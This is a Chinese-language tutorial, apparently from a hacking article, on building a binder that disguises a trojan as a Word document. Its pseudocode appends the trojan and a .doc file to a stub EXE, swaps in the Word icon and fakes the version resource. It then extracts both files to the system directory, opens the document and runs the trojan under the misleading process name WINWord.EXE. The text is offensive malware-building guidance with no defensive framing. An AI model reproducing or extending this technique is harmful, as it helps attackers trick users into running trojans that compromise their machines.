在系统容错允许下,于EXE文件末尾添加数据,EXE文件是可以正常执行的。我们要做就是把木马的数据和Word文挡的数据写到伪装器的尾部。结构如下: --------------------------------------- |bind.exe|muma.exe|Word.doc| --------------------------------------- 当捆绑的bind.exe运行后,读取捆绑的数据生成muma.exe和Word.doc一并运行,而自身则结束进程。当然这里bind.exe要做的远比我说的要复杂的多,它还承担写数据的功能。 程序界面。 首先说说如何利用Word的图标,前面提到我们是把数据写到伪装器尾部,可见最后生成的捆绑程序利用的是伪装器的图标,所有我们直接把伪装器的图标换成Word文档的图标。 本程序代码中Bind_Files()函数负责写数据到伪装器的尾部。伪代码如下: Bind_Files() { _stat(my_name, &ST);//获取自身文件伪装信息 fread(buf, 1, modify_data.my_length, myself);//储存自身文件信息到缓冲区 out = fopen("xicao.exe", "wb");//创建最终合成文件 fwrite(buf, 1, bytesin, out);//写入第一个要伪装的文件数据 fwrite(buf, 1, bytesin, out);//写入第二个要伪装的文件数据 } 另一个重要的函数就是Unbind_and_Run(),它负责读数据并运行捆绑的文件。伪代码如下: Unbind_and_Run() { GetSystemDirectory(chSystemDir,MAX_PATH);//将文件在系统目录中展开 out =fopen(strSystemDir + "\\NEW.doc", "wb"); //创建第一个伪装的文件 out =fopen(strSystemDir + "\\WINWord.EXE", "wb"); //创建第二个伪装的文件 HINSTANCE result =ShellExecute(NULL, _T("open"),strSystemDir + "\\NEW.doc", NULL,NULL, SW_SHOW);//打开WROD Create_Process(strSystemDir + "\\WINWord.EXE");//运行木马文件 } 正如伪代码中所描述的,为了具有迷惑性,我们还将木马的进程名改为WINWord.EXE。 读者又要问了,应该什么时候用Bind_Files(),什么时候用Unbind_and_Run()函数呢?其实就是如何判断自己有没有捆绑数据。本程序通过判断程序本身的大小来决定:当自身大小小于35K时是非捆绑状态,显示正常界面。否则调用Unbind_and_Run()函数,退出自身进程。 怎么样,伪装的很象吧,当运行之后就可以运行木马程序和打开Word文档了。当然了,只要显示文件的后缀,就原形毕露了。 另外,图中看到的“Microsoft Word 文档”和“56 K”字样是修改了程序的版本资源(VS_VERSION_INFO)所得到的。 我一直认为,只要弄清楚了程序的原理和算法,程序的实现就指日可待。所以本文并没有解释大段大段的代码,只是告诉了大家原理,程序的具体实现请大家参看源代码 |